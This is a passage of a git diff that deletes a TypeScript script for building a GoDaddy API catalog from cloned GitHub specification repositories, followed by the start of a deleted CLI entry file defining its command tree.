path.join(commonTypesLocalDir, relPath); - if (fs.existsSync(direct)) return direct; - } - - // Flat ref pattern: ./common-types/foo.json → search in v1/schemas/{json,yaml}/ - const subdir = ext === ".json" ? "json" : "yaml"; - const nested = path.join( - commonTypesLocalDir, - "v1", - "schemas", - subdir, - basename, - ); - if (fs.existsSync(nested)) return nested; - - // Try opposite format - const altSubdir = subdir === "json" ? "yaml" : "json"; - const altExt = altSubdir === "json" ? ".json" : ".yaml"; - const altBasename = basename.replace(ext, altExt); - const alt = path.join( - commonTypesLocalDir, - "v1", - "schemas", - altSubdir, - altBasename, - ); - if (fs.existsSync(alt)) return alt; - - return null; -} - -async function dereferenceSpec(specFilePath: string): Promise { - const options: ParserOptions = { - continueOnError: true, - dereference: { - circular: "ignore", - }, - resolve: { - // Disable built-in HTTP resolver to prevent outbound fetches. - // All refs must resolve locally or via our custom resolvers below. - http: false as unknown as ParserOptions["resolve"], - // Custom resolver: map schemas.api.godaddy.com URLs to local files - godaddySchemas: { - order: 1, - canRead: (file: { url: string }) => { - try { - const hostname = new URL(file.url).hostname; - return hostname === "schemas.api.godaddy.com"; - } catch { - return false; - } - }, - read: (file: { url: string }) => { - if (!commonTypesLocalDir) { - throw new Error( - `Cannot resolve ${file.url}: common-types not cloned`, - ); - } - const urlPath = new URL(file.url).pathname; - const localPath = path.join( - commonTypesLocalDir, - urlPath.replace(/^\/common-types\//, "/"), - ); - if (!fs.existsSync(localPath)) { - throw new Error( - `Cannot resolve ${file.url}: not found at ${localPath}`, - ); - } - return fs.readFileSync(localPath, "utf-8"); - }, - }, - // Custom file resolver: intercept missing common-types paths - commonTypesFile: { - order: 200, // run after built-in file resolver (order 100) - canRead: (file: { url: string }) => { - return file.url.includes("common-types"); - }, - read: (file: { url: string }) => { - // Convert file:// URL to path - let filePath: string; - try { - filePath = fileURLToPath(file.url); - } catch { - filePath = file.url.replace(/^file:\/\//, ""); - } - // If the file exists on disk, read it normally - if (fs.existsSync(filePath)) { - return fs.readFileSync(filePath, "utf-8"); - } - // Otherwise try to resolve via common-types clone - const resolved = resolveCommonTypesFile(filePath); - if (resolved) { - return fs.readFileSync(resolved, "utf-8"); - } - throw new Error( - `Cannot resolve common-types ref: ${path.basename(filePath)}`, - ); - }, - }, - }, - }; - - // Use an instance so we can access the partially-resolved schema - // even when continueOnError throws after accumulating errors. - const parser = new $RefParser(); - try { - await parser.dereference(specFilePath, options); - } catch (error) { - // continueOnError accumulates errors then throws; the schema is still - // partially resolved on the instance. - const message = error instanceof Error ? error.message : String(error); - console.error( - ` WARNING: $ref resolution had errors: ${message.slice(0, 200)}`, - ); - } - - if (parser.schema) { - return parser.schema as unknown as OpenApiSpec; - } - - // Total failure — fall back to raw parse - const raw = fs.readFileSync(specFilePath, "utf-8"); - return parseOpenApiSpec(raw, specFilePath); -} - -// --------------------------------------------------------------------------- -// GitHub discovery helpers -// --------------------------------------------------------------------------- - -function parseRepoOverride(): string[] | null { - const raw = process.env.API_CATALOG_REPOS?.trim(); - if (!raw) return null; - - const repos = raw - .split(",") - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0); - - return repos.length > 0 ? repos : null; -} - -function parseRepoRefsOverride(): Map { - const raw = process.env.API_CATALOG_REPO_REFS?.trim(); - if (!raw) return new Map(); - - const refs = new Map(); - - for (const entry of raw.split(",")) { - const trimmed = entry.trim(); - if (!trimmed) continue; - - const separatorIndex = trimmed.indexOf("="); - if (separatorIndex <= 0 || separatorIndex === trimmed.length - 1) { - console.error( - `WARNING: invalid API_CATALOG_REPO_REFS entry '${trimmed}' (expected repo=ref)`, - ); - continue; - } - - const repoName = trimmed.slice(0, separatorIndex).trim(); - const ref = trimmed.slice(separatorIndex + 1).trim(); - if (!repoName || !ref) continue; - - refs.set(repoName, ref); - } - - return refs; -} - -function includeLegacyLocationRepo(): boolean { - const raw = process.env.API_CATALOG_INCLUDE_LEGACY_LOCATION; - if (!raw) return true; - return raw.toLowerCase() !== "false"; -} - -function githubHeaders(): Record { - const headers: Record = { - Accept: "application/vnd.github+json", - "User-Agent": "godaddy-cli-api-catalog-generator", - }; - - const token = process.env.GITHUB_TOKEN?.trim(); - if (token) { - headers.Authorization = `Bearer ${token}`; - } - - return headers; -} - -function isGitHubRepoObject(value: unknown): value is { - name: string; - clone_url: string; - archived: boolean; - disabled: boolean; - private: boolean; -} { - if (typeof value !== "object" || value === null) return false; - const record = value as Record; - return ( - typeof record.name === "string" && - typeof record.clone_url === "string" && - typeof record.archived === "boolean" && - typeof record.disabled === "boolean" && - typeof record.private === "boolean" - ); -} - -async function listReposForOwnerPath(ownerPath: string): Promise { - const repos: GitHubRepo[] = []; - - for (let page = 1; ; page += 1) { - const url = `${GITHUB_API_BASE}/${ownerPath}/${GITHUB_ORG}/repos?per_page=${GITHUB_REPOS_PAGE_SIZE}&page=${page}&type=public&sort=full_name&direction=asc`; - - const response = await fetch(url, { headers: githubHeaders() }); - if (!response.ok) { - if (response.status === 404) { - return []; - } - throw new Error( - `GitHub API request failed (${response.status}) while listing ${ownerPath} repos`, - ); - } - - const payload = (await response.json()) as unknown; - if (!Array.isArray(payload)) { - throw new Error("Unexpected GitHub API response: expected an array"); - } - - if (payload.length === 0) break; - - for (const item of payload) { - if (!isGitHubRepoObject(item)) { - continue; - } - repos.push({ - name: item.name, - cloneUrl: item.clone_url, - archived: item.archived, - disabled: item.disabled, - private: item.private, - }); - } - - if (payload.length < GITHUB_REPOS_PAGE_SIZE) { - break; - } - } - - return repos; -} - -async function listOrgRepos(): Promise { - const orgRepos = await listReposForOwnerPath("orgs"); - if (orgRepos.length > 0) { - return orgRepos; - } - - const userRepos = await listReposForOwnerPath("users"); - if (userRepos.length > 0) { - return userRepos; - } - - return []; -} - -function deriveDomainFromRepoName(repoName: string): string { - const withoutSuffix = repoName.endsWith("-specification") - ? repoName.slice(0, -"-specification".length) - : repoName; - - const withoutCommercePrefix = withoutSuffix.startsWith("commerce.") - ? withoutSuffix.slice("commerce.".length) - : withoutSuffix; - - return withoutCommercePrefix - .toLowerCase() - .replace(/\./g, "-") - .replace(/[^a-z0-9-]/g, "-") - .replace(/-+/g, "-") - .replace(/^-|-$/g, ""); -} - -function parseVersionDirectory(versionDirName: string): number[] | null { - if (!/^v\d+(?:\.\d+)*$/.test(versionDirName)) { - return null; - } - - const numeric = versionDirName.slice(1); - const parts = numeric.split(".").map((part) => Number.parseInt(part, 10)); - - if (parts.some((part) => Number.isNaN(part))) { - return null; - } - - return parts; -} - -function compareVersionArrays(a: number[], b: number[]): number { - const length = Math.max(a.length, b.length); - for (let index = 0; index < length; index += 1) { - const aPart = a[index] ?? 0; - const bPart = b[index] ?? 0; - if (aPart !== bPart) return aPart - bPart; - } - return 0; -} - -function findLatestSpecFile( - repoDir: string, -): { version: string; specFile: string; graphqlOnly?: boolean } | null { - const versionCandidates = fs - .readdirSync(repoDir, { withFileTypes: true }) - .filter((entry) => entry.isDirectory()) - .map((entry) => entry.name) - .map((name) => ({ name, parsed: parseVersionDirectory(name) })) - .filter( - (entry): entry is { name: string; parsed: number[] } => - entry.parsed !== null, - ) - .sort((left, right) => compareVersionArrays(left.parsed, right.parsed)); - - for (let index = versionCandidates.length - 1; index >= 0; index -= 1) { - const version = versionCandidates[index].name; - - // Prefer OpenAPI specs - const openApiCandidates = [ - path.join(repoDir, version, "schemas", "openapi.yaml"), - path.join(repoDir, version, "schemas", "openapi.yml"), - path.join(repoDir, version, "schemas", "openapi.json"), - ]; - - for (const candidate of openApiCandidates) { - if (fs.existsSync(candidate)) { - return { version, specFile: candidate }; - } - } - - // Fall back to standalone GraphQL schema - const graphqlCandidates = [ - path.join(repoDir, version, "schemas", "graphql", "schema.graphql"), - path.join(repoDir, version, "schemas", "schema.graphql"), - ]; - - for (const candidate of graphqlCandidates) { - if (fs.existsSync(candidate)) { - return { version, specFile: candidate, graphqlOnly: true }; - } - } - } - - return null; -} - -function checkoutRepositoryRef(targetDir: string, ref: string): void { - execFileSync( - "git", - ["-C", targetDir, "fetch", "--depth", "1", "origin", ref], - { - stdio: "pipe", - env: process.env, - }, - ); - - execFileSync("git", ["-C", targetDir, "checkout", "--quiet", "FETCH_HEAD"], { - stdio: "pipe", - env: process.env, - }); -} - -function cloneRepository( - cloneUrl: string, - targetDir: string, - ref?: string, -): void { - execFileSync( - "git", - ["clone", "--depth", "1", "--quiet", cloneUrl, targetDir], - { - stdio: "pipe", - env: process.env, - }, - ); - - if (ref) { - checkoutRepositoryRef(targetDir, ref); - } -} - -async function discoverSpecSources(): Promise { - const allRepos = await listOrgRepos(); - const repoMap = new Map(allRepos.map((repo) => [repo.name, repo])); - - const overrides = parseRepoOverride(); - const repoRefOverrides = parseRepoRefsOverride(); - - const selectedRepoNames = new Set(); - if (overrides) { - for (const repoName of overrides) { - selectedRepoNames.add(repoName); - } - } else { - for (const repo of allRepos) { - if (COMMERCE_SPEC_REPO_PATTERN.test(repo.name)) { - selectedRepoNames.add(repo.name); - } - } - } - - if (!overrides && selectedRepoNames.size === 0) { - console.error( - "WARNING: Dynamic GitHub discovery found no commerce specifications. Falling back to bootstrap repository list.", - ); - for (const repoName of BOOTSTRAP_COMMERCE_REPOS) { - selectedRepoNames.add(repoName); - } - } - - if (includeLegacyLocationRepo()) { - for (const legacyRepo of LEGACY_ALWAYS_INCLUDE_REPOS) { - selectedRepoNames.add(legacyRepo); - } - } - - const selectedRepos = [...selectedRepoNames] - .map((name) => { - const discovered = repoMap.get(name); - if (discovered) { - return discovered; - } - - return { - name, - cloneUrl: `https://github.com/${GITHUB_ORG}/${name}.git`, - archived: false, - disabled: false, - private: false, - } satisfies GitHubRepo; - }) - .filter((repo) => !repo.private) - .filter((repo) => !repo.archived) - .filter((repo) => !repo.disabled) - .sort((a, b) => a.name.localeCompare(b.name)); - - if (!overrides && allRepos.length === 0) { - console.error( - "WARNING: GitHub repo discovery returned 0 repositories. Set API_CATALOG_REPOS or provide GITHUB_TOKEN for broader discovery.", - ); - } - - if (selectedRepos.length === 0) { - return { sources: [], cloneRoot: null }; - } - - const cloneRoot = fs.mkdtempSync( - path.join(os.tmpdir(), "godaddy-api-catalog-"), - ); - const sources: SpecSource[] = []; - const usedDomains = new Set(); - - // Clone common-types-specification once; it is referenced as a submodule - // by most commerce spec repos at v*/schemas/common-types. - const commonTypesDir = path.join(cloneRoot, "__common-types"); - try { - cloneRepository( - `https://github.com/${GITHUB_ORG}/common-types-specification.git`, - commonTypesDir, - ); - commonTypesLocalDir = commonTypesDir; - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - console.error( - `WARNING: failed to clone common-types-specification: ${message}`, - ); - } - - for (const repo of selectedRepos) { - const repoDir = path.join(cloneRoot, repo.name); - const repoRef = repoRefOverrides.get(repo.name); - - try { - cloneRepository(repo.cloneUrl, repoDir, repoRef); - if (repoRef) { - console.log(` ${repo.name}: checked out override ref '${repoRef}'`); - } - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - const context = repoRef ? ` @ ref '${repoRef}'` : ""; - console.error( - `WARNING: failed to clone ${repo.name}${context}: ${message}`, - ); - continue; - } - - const latestSpec = findLatestSpecFile(repoDir); - if (!latestSpec) { - console.error( - `WARNING: ${repo.name} has no v*/schemas/openapi.{yaml,yml,json} — skipping`, - ); - continue; - } - - const domain = deriveDomainFromRepoName(repo.name); - if (!domain) { - console.error( - `WARNING: could not derive domain key from repo '${repo.name}' — skipping`, - ); - continue; - } - - if (usedDomains.has(domain)) { - console.error( - `WARNING: duplicate derived domain '${domain}' from repo '${repo.name}' — skipping`, - ); - continue; - } - - usedDomains.add(domain); - sources.push({ - domain, - repoName: repo.name, - specFile: latestSpec.specFile, - specVersion: latestSpec.version, - graphqlOnly: latestSpec.graphqlOnly, - }); - } - - return { sources, cloneRoot }; -} - -// --------------------------------------------------------------------------- -// Spec processing helpers -// --------------------------------------------------------------------------- - -const HTTP_METHODS = new Set([ - "get", - "post", - "put", - "patch", - "delete", - "options", - "head", - "trace", -]); - -function resolveBaseUrl(servers?: OpenApiServer[]): string { - if (!servers || servers.length === 0) return ""; - const server = servers[0]; - let url = server.url; - if (server.variables) { - for (const [key, variable] of Object.entries(server.variables)) { - url = url.replace(`{${key}}`, variable.default); - } - } - return url; -} - -const COMMERCE_SCOPE_URN_REGEX = - /^urn:godaddy:services:commerce\.([a-z0-9-]+):([a-z-]+)$/i; -const COMMERCE_SCOPE_URI_REGEX = - /^https:\/\/uri\.godaddy\.com\/services\/commerce\/([a-z0-9-]+)\/([a-z-]+)$/i; - -function normalizeScopeAction(action: string): string { - const normalized = action.toLowerCase(); - if (normalized === "read-write") { - return "write"; - } - return normalized; -} - -function normalizeScopeToken(scope: string): string { - const trimmed = scope.trim(); - if (!trimmed) return trimmed; - - const urnMatch = trimmed.match(COMMERCE_SCOPE_URN_REGEX); - if (urnMatch) { - const domain = urnMatch[1].toLowerCase(); - const action = normalizeScopeAction(urnMatch[2]); - return `commerce.${domain}:${action}`; - } - - const uriMatch = trimmed.match(COMMERCE_SCOPE_URI_REGEX); - if (uriMatch) { - const domain = uriMatch[1].toLowerCase(); - const action = normalizeScopeAction(uriMatch[2]); - return `commerce.${domain}:${action}`; - } - - const commerceMatch = trimmed.match(/^commerce\.([a-z0-9-]+):([a-z-]+)$/i); - if (commerceMatch) { - const domain = commerceMatch[1].toLowerCase(); - const action = normalizeScopeAction(commerceMatch[2]); - return `commerce.${domain}:${action}`; - } - - return trimmed; -} - -function extractScopes(security?: Array>): string[] { - if (!security) return []; - - const normalizedScopes = new Set(); - - for (const entry of security) { - for (const scopeList of Object.values(entry)) { - for (const rawScope of scopeList) { - const normalizedScope = normalizeScopeToken(rawScope); - if (normalizedScope) { - normalizedScopes.add(normalizedScope); - } - } - } - } - - return [...normalizedScopes]; -} - -const graphqlSchemaCache = new Map(); - -function graphqlTypeToString(typeNode: TypeNode): string { - switch (typeNode.kind) { - case Kind.NAMED_TYPE: - return typeNode.name.value; - case Kind.NON_NULL_TYPE: - return `${graphqlTypeToString(typeNode.type)}!`; - case Kind.LIST_TYPE: - return `[${graphqlTypeToString(typeNode.type)}]`; - } -} - -function parseGraphqlOperations( - schemaSource: string, -): CatalogGraphqlOperation[] { - const document = parseGraphql(schemaSource, { noLocation: true }); - const operations: CatalogGraphqlOperation[] = []; - - for (const definition of document.definitions) { - if (definition.kind !== Kind.OBJECT_TYPE_DEFINITION) continue; - - const typeName = definition.name.value; - if (typeName !== "Query" && typeName !== "Mutation") continue; - - const kind: CatalogGraphqlOperation["kind"] = - typeName === "Query" ? "query" : "mutation"; - - for (const field of definition.fields ?? []) { - const deprecatedDirective = field.directives?.find( - (directive) => directive.name.value === "deprecated", - ); - const deprecationReasonArg = deprecatedDirective?.arguments?.find( - (arg) => arg.name.value === "reason", - ); - - const deprecationReason = deprecationReasonArg - ? deprecationReasonArg.value.kind === Kind.STRING - ? deprecationReasonArg.value.value - : printGraphql(deprecationReasonArg.value) - : undefined; - - const args: CatalogGraphqlArgument[] = (field.arguments ?? []).map( - (arg) => ({ - name: arg.name.value, - type: graphqlTypeToString(arg.type), - required: - arg.type.kind === Kind.NON_NULL_TYPE && - arg.defaultValue === undefined, - description: arg.description?.value, - defaultValue: - arg.defaultValue === undefined - ? undefined - : printGraphql(arg.defaultValue), - }), - ); - - operations.push({ - name: field.name.value, - kind, - returnType: graphqlTypeToString(field.type), - description: field.description?.value, - deprecated: deprecatedDirective !== undefined, - deprecationReason, - args, - }); - } - } - - return operations.sort((left, right) => { - if (left.kind === right.kind) { - return left.name.localeCompare(right.name); - } - return left.kind === "query" ? -1 : 1; - }); -} - -function loadGraphqlSchemaMetadata( - specFile: string, - schemaRef: string, -): CatalogGraphqlSchema { - const specDir = path.dirname(specFile); - const resolvedSchemaPath = path.resolve(specDir, schemaRef); - const cacheKey = `${specFile}::${resolvedSchemaPath}`; - - const cached = graphqlSchemaCache.get(cacheKey); - if (cached) return cached; - - if (!fs.existsSync(resolvedSchemaPath)) { - throw new Error( - `GraphQL schema file not found for '${schemaRef}' (resolved: ${resolvedSchemaPath})`, - ); - } - - const schemaSource = fs.readFileSync(resolvedSchemaPath, "utf-8"); - - let operations: CatalogGraphqlOperation[]; - try { - operations = parseGraphqlOperations(schemaSource); - } catch (parseError) { - // GraphQL schemas in the wild sometimes contain syntax issues - // (e.g. consecutive block-string descriptions without a field). - // Try a best-effort repair: strip orphaned doc-comment blocks. - const repaired = schemaSource.replace( - /"""[^"]*"""\s*\n\s*"""/g, - (match) => { - // Keep only the last doc-comment block - const lastIdx = match.lastIndexOf('"""', match.length - 4); - const secondLastIdx = match.lastIndexOf('"""', lastIdx - 1); - return match.slice(secondLastIdx); - }, - ); - try { - operations = parseGraphqlOperations(repaired); - console.error( - `WARNING: repaired malformed GraphQL schema at ${resolvedSchemaPath}`, - ); - } catch { - console.error( - `WARNING: could not parse GraphQL schema at ${resolvedSchemaPath}: ${ - parseError instanceof Error ? parseError.message : String(parseError) - }`, - ); - operations = []; - } - } - - const metadata: CatalogGraphqlSchema = { - schemaRef, - operationCount: operations.length, - operations, - }; - - graphqlSchemaCache.set(cacheKey, metadata); - return metadata; -} - -function resolveLocalRef( - spec: OpenApiSpec, - ref: string, -): Record | null { - if (!ref.startsWith("#/")) return null; - - const segments = ref - .slice(2) - .split("/") - .map((segment) => segment.replace(/~1/g, "/").replace(/~0/g, "~")); - - let current: unknown = spec as unknown; - for (const segment of segments) { - if (typeof current !== "object" || current === null) { - return null; - } - - const record = current as Record; - current = record[segment]; - } - - if (typeof current !== "object" || current === null) { - return null; - } - - return current as Record; -} - -function resolveParameter( - spec: OpenApiSpec, - parameter: OpenApiParameter | OpenApiReference, -): OpenApiParameter | null { - if (!parameter || typeof parameter !== "object") return null; - if ("$ref" in parameter) { - const resolved = resolveLocalRef(spec, parameter.$ref); - if (!resolved) return null; - - const name = resolved.name; - const location = resolved.in; - if (typeof name !== "string" || typeof location !== "string") { - return null; - } - - return { - name, - in: location, - required: - typeof resolved.required === "boolean" ? resolved.required : undefined, - description: - typeof resolved.description === "string" - ? resolved.description - : undefined, - schema: - typeof resolved.schema === "object" && resolved.schema !== null - ? (resolved.schema as Record) - : undefined, - }; - } - - return parameter; -} - -function processOperation( - spec: OpenApiSpec, - specFile: string, - httpMethod: string, - pathStr: string, - operation: OpenApiOperation, - pathLevelParams?: Array, -): CatalogEndpoint { - const allParams = [ - ...(pathLevelParams || []), - ...(operation.parameters || []), - ]; - - const parameters = allParams - .map((parameter) => resolveParameter(spec, parameter)) - .filter((parameter): parameter is OpenApiParameter => parameter !== null) - .map((parameter) => ({ - name: parameter.name, - in: parameter.in, - required: parameter.required ?? false, - description: parameter.description, - schema: parameter.schema, - })); - - let requestBody: CatalogEndpoint["requestBody"]; - if (operation.requestBody && !("$ref" in operation.requestBody)) { - const rb = operation.requestBody; - const contentTypes = rb.content ? Object.keys(rb.content) : []; - const primaryCt = contentTypes[0] || "application/json"; - const schema = rb.content?.[primaryCt]?.schema; - - requestBody = { - required: rb.required ?? false, - description: rb.description, - contentType: primaryCt, - schema, - }; - } - - const responses: CatalogEndpoint["responses"] = {}; - if (operation.responses) { - for (const [status, resp] of Object.entries(operation.responses)) { - if (!resp || typeof resp !== "object") continue; - if ("$ref" in resp) { - responses[status] = { - description: `See ${(resp as { $ref: string }).$ref}`, - }; - continue; - } - const contentTypes = resp.content ? Object.keys(resp.content) : []; - const primaryCt = contentTypes[0] || "application/json"; - responses[status] = { - description: resp.description || "", - schema: resp.content?.[primaryCt]?.schema, - }; - } - } - - const operationId = - operation.operationId || - `${httpMethod}_${pathStr - .replace(/[^a-zA-Z0-9]/g, "_") - .replace(/_+/g, "_") - .replace(/^_|_$/g, "")}`; - - let graphql: CatalogGraphqlSchema | undefined; - const graphqlSchemaRef = operation["x-godaddy-graphql-schema"]; - if (typeof graphqlSchemaRef === "string" && graphqlSchemaRef.length > 0) { - graphql = loadGraphqlSchemaMetadata(specFile, graphqlSchemaRef); - } - - return { - operationId, - method: httpMethod.toUpperCase(), - path: pathStr, - summary: operation.summary || "", - description: operation.description, - parameters: parameters.length > 0 ? parameters : undefined, - requestBody, - responses, - scopes: extractScopes(operation.security), - graphql, - }; -} - -function processSpec( - spec: OpenApiSpec, - domain: string, - specFile: string, -): CatalogDomain { - const baseUrl = resolveBaseUrl(spec.servers); - const endpoints: CatalogEndpoint[] = []; - - for (const [pathStr, pathItem] of Object.entries(spec.paths)) { - const pathLevelParams = pathItem.parameters; - - for (const [key, value] of Object.entries(pathItem)) { - if (key === "parameters" || !HTTP_METHODS.has(key) || !value) continue; - const operation = value as OpenApiOperation; - endpoints.push( - processOperation( - spec, - specFile, - key, - pathStr, - operation, - pathLevelParams, - ), - ); - } - } - - return { - name: domain, - title: spec.info.title, - description: spec.info.description || "", - version: spec.info.version, - baseUrl, - endpoints, - }; -} - -function repairMissingJsonCommas(raw: string): string { - const lines = raw.split("\n"); - - for (let index = 0; index < lines.length - 1; index += 1) { - const currentLine = lines[index]; - const nextLine = lines[index + 1]; - - const currentTrimmedRight = currentLine.trimEnd(); - const nextTrimmedLeft = nextLine.trimStart(); - - if (currentTrimmedRight.length === 0) continue; - if (/[,\[{]\s*$/.test(currentTrimmedRight)) continue; - if (!/^"[^"\\]+"\s*:/.test(nextTrimmedLeft)) continue; - if (!/^\s*"[^"\\]+"\s*:/.test(currentTrimmedRight)) continue; - if (!/["}\]0-9a-zA-Z]$/.test(currentTrimmedRight)) continue; - - lines[index] = `${currentLine},`; - } - - return lines.join("\n"); -} - -/** - * Repair YAML lines where a colon is missing the required trailing space, - * e.g. `operationId:disableWebScannerAlert` → `operationId: disableWebScannerAlert`. - */ -function repairMissingYamlColonSpace(raw: string): string { - // Only match horizontal whitespace (spaces/tabs) so we don't span lines - return raw.replace( - /^([ \t]+\w+):([^\s#])/gm, - (_, key: string, val: string) => `${key}: ${val}`, - ); -} - -function parseOpenApiSpec(raw: string, specFile: string): OpenApiSpec { - try { - return parseYaml(raw) as OpenApiSpec; - } catch (error) { - // Try YAML colon-space repair first (works for both .yaml and .json) - const yamlRepaired = repairMissingYamlColonSpace(raw); - if (yamlRepaired !== raw) { - try { - console.error(`WARNING: repaired missing colon-space in ${specFile}`); - return parseYaml(yamlRepaired) as OpenApiSpec; - } catch { - // fall through to JSON repair - } - } - - const lowerPath = specFile.toLowerCase(); - if (!lowerPath.endsWith(".json")) { - throw error; - } - - const repaired = repairMissingJsonCommas(raw); - if (repaired === raw) { - throw error; - } - - try { - console.error( - `WARNING: detected malformed JSON in ${specFile}; attempting comma-repair fallback`, - ); - return parseYaml(repaired) as OpenApiSpec; - } catch { - throw error; - } - } -} - -function identifierForDomain(domain: string): string { - const clean = domain.replace(/[^a-zA-Z0-9]+/g, "_").replace(/^_+|_+$/g, ""); - - if (!clean) return "domain_json"; - if (/^[0-9]/.test(clean)) return `domain_${clean}`; - return `${clean}_json`; -} - -function writeRegistryFile(domains: string[]): void { - const sorted = [...domains].sort((a, b) => a.localeCompare(b)); - - const importLines = sorted.map((domain) => { - const identifier = identifierForDomain(domain); - return `import ${identifier} from "./${domain}.json";`; - }); - - const objectLines = sorted.map((domain) => { - const identifier = identifierForDomain(domain); - return ` "${domain}": ${identifier},`; - }); - - const content = [ - "/**", - " * AUTO-GENERATED by scripts/generate-api-catalog.ts", - " * Do not edit manually.", - " */", - "", - ...importLines, - "", - "export const DOMAIN_REGISTRY: Record = {", - ...objectLines, - "};", - "", - ].join("\n"); - - fs.writeFileSync(REGISTRY_FILE, content, "utf-8"); -} - -function removeStaleDomainJsonFiles(activeDomainFiles: Set): void { - const entries = fs.readdirSync(OUTPUT_DIR, { withFileTypes: true }); - for (const entry of entries) { - if (!entry.isFile()) continue; - if (!entry.name.endsWith(".json")) continue; - if (entry.name === "manifest.json") continue; - - if (!activeDomainFiles.has(entry.name)) { - fs.rmSync(path.join(OUTPUT_DIR, entry.name), { - recursive: false, - force: true, - }); - } - } -} - -// --------------------------------------------------------------------------- -// Main -// --------------------------------------------------------------------------- - -async function main() { - fs.mkdirSync(OUTPUT_DIR, { recursive: true }); - - const { sources: specSources, cloneRoot } = await discoverSpecSources(); - - const manifest: CatalogManifest = { - generated: new Date().toISOString(), - domains: {}, - }; - - const activeDomainFiles = new Set(); - let totalEndpoints = 0; - - try { - if (specSources.length === 0) { - throw new Error( - "No specification repositories discovered. Refusing to overwrite catalog output.", - ); - } - - for (const source of specSources) { - if (!fs.existsSync(source.specFile)) { - throw new Error( - `spec file not found for ${source.repoName}: ${source.specFile}`, - ); - } - - try { - let catalog: CatalogDomain; - - if (source.graphqlOnly) { - // GraphQL-only source — synthesize a catalog from the schema - const gqlMeta = loadGraphqlSchemaMetadata( - source.specFile, - source.specFile, - ); - // Replace the absolute temp path with a clean relative ref - gqlMeta.schemaRef = "./schema.graphql"; - catalog = { - name: source.domain, - title: `${source.domain} GraphQL API`, - description: `GraphQL API with ${gqlMeta.operationCount} operations`, - version: source.specVersion.replace(/^v/, ""), - baseUrl: "", - endpoints: [ - { - operationId: "graphql", - method: "POST", - path: "/graphql", - summary: "GraphQL API", - description: `GraphQL endpoint with ${gqlMeta.operationCount} operations`, - responses: { - "200": { description: "GraphQL response" }, - }, - scopes: [], - graphql: gqlMeta, - }, - ], - }; - console.log( - ` ${source.domain}: GraphQL schema with ${gqlMeta.operationCount} operations (${source.repoName}/${source.specVersion})`, - ); - } else { - console.log( - ` Dereferencing ${source.domain} (${source.repoName}/${source.specVersion})...`, - ); - const spec = await dereferenceSpec(source.specFile); - catalog = processSpec(spec, source.domain, source.specFile); - } - - const filename = `${source.domain}.json`; - activeDomainFiles.add(filename); - - fs.writeFileSync( - path.join(OUTPUT_DIR, filename), - JSON.stringify(catalog, null, 2), - "utf-8", - ); - - manifest.domains[source.domain] = { - file: filename, - title: catalog.title, - endpointCount: catalog.endpoints.length, - }; - - totalEndpoints += catalog.endpoints.length; - console.log( - ` ${source.domain}: ${catalog.endpoints.length} endpoints from ${catalog.title} v${catalog.version}`, - ); - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - throw new Error( - `failed processing ${source.repoName} (${source.specVersion}): ${message}`, - ); - } - } - } finally { - if (cloneRoot) { - fs.rmSync(cloneRoot, { recursive: true, force: true }); - } - } - - removeStaleDomainJsonFiles(activeDomainFiles); - - fs.writeFileSync( - path.join(OUTPUT_DIR, "manifest.json"), - JSON.stringify(manifest, null, 2), - "utf-8", - ); - - writeRegistryFile(Object.keys(manifest.domains)); - - console.log( - `\nGenerated API catalog: ${Object.keys(manifest.domains).length} domains, ${totalEndpoints} endpoints`, - ); -} - -main().catch((error) => { - console.error("Fatal error:", error); - process.exit(1); -}); diff --git a/src/cli-entry.ts b/src/cli-entry.ts deleted file mode 100644 index 35cbf42..0000000 --- a/src/cli-entry.ts +++ /dev/null @@ -1,553 +0,0 @@ -#!/usr/bin/env node - -import * as Command from "@effect/cli/Command"; -import * as Options from "@effect/cli/Options"; -import * as NodeContext from "@effect/platform-node/NodeContext"; -import * as Effect from "effect/Effect"; -import * as Layer from "effect/Layer"; - -import packageJson from "../package.json"; -import { mapRuntimeError, mapValidationError } from "./cli/agent/errors"; -import type { NextAction } from "./cli/agent/types"; -import { makeCliConfigLayer } from "./cli/services/cli-config"; -import { - EnvelopeWriter, - EnvelopeWriterLive, -} from "./cli/services/envelope-writer"; -import { authStatusEffect } from "./core/auth"; -import { - type Environment, - envGetEffect, - validateEnvironment, -} from "./core/environment"; -import { NodeLiveLayer } from "./effect/runtime"; -import { setVerbosityLevel } from "./services/logger"; - -import { actionsCommand } from "./cli/commands/actions"; -import { apiCommand } from "./cli/commands/api"; -import { applicationCommand } from "./cli/commands/application"; -import { authCommand } from "./cli/commands/auth"; -// Command imports -import { envCommand } from "./cli/commands/env"; -import { webhookCommand } from "./cli/commands/webhook"; - -// --------------------------------------------------------------------------- -// Root next_actions -// --------------------------------------------------------------------------- - -const rootNextActions: NextAction[] = [ - { - command: "godaddy auth status", - description: "Check authentication status", - }, - { command: "godaddy env get", description: "Get current active environment" }, - { command: "godaddy application list", description: "List all applications" }, -]; - -// --------------------------------------------------------------------------- -// Command tree — single source of truth for discovery output. -// Keep in sync with Command.withSubcommands registrations below. -// --------------------------------------------------------------------------- - -const ROOT_DESCRIPTION = - "GoDaddy Developer Platform CLI - Agent-first JSON interface for platform operations"; - -interface CommandNode { - id: string; - command: string; - description: string; - usage?: string; - children?: CommandNode[]; -} - -const COMMAND_TREE: CommandNode = { - id: "root", - command: "godaddy", - description: ROOT_DESCRIPTION, - children: [ - { - id: "auth.group", - command: "godaddy auth", - description: "Manage authentication with GoDaddy Developer Platform", - }, - { - id: "env.group", - command: "godaddy env", - description: "Manage GoDaddy environments (ote, prod)", - }, - { - id: "api.group", - command: "godaddy api", - description: "Explore and call GoDaddy API endpoints", - children: [ - { - id: "api.list", - command: "godaddy api list", - description: "List all API domains and their endpoints", - }, - { - id: "api.describe", - command: "godaddy api describe ", - description: "Show detailed schema information for an API endpoint", - }, - { - id: "api.search", - command: "godaddy api search ", - description: "Search for API endpoints by keyword", - }, - { - id: "api.call", - command: "godaddy api call ", - description: "Make an authenticated API request", - }, - ], - }, - { - id: "actions.group", - command: "godaddy actions", - description: "Manage application actions", - }, - { - id: "webhook.group", - command: "godaddy webhook", - description: "Manage webhook integrations", - }, - { - id: "application.group", - command: "godaddy application", - description: "Manage applications", - children: [ - { - id: "application.info", - command: "godaddy application info ", - description: "Show application information", - }, - { - id: "application.list", - command: "godaddy application list", - description: "List all applications", - }, - { - id: "application.validate", - command: "godaddy application validate ", - description: "Validate application configuration", - }, - { - id: "application.update", - command: "godaddy application update ", - description: "Update application configuration", - }, - { - id: "application.enable", - command: 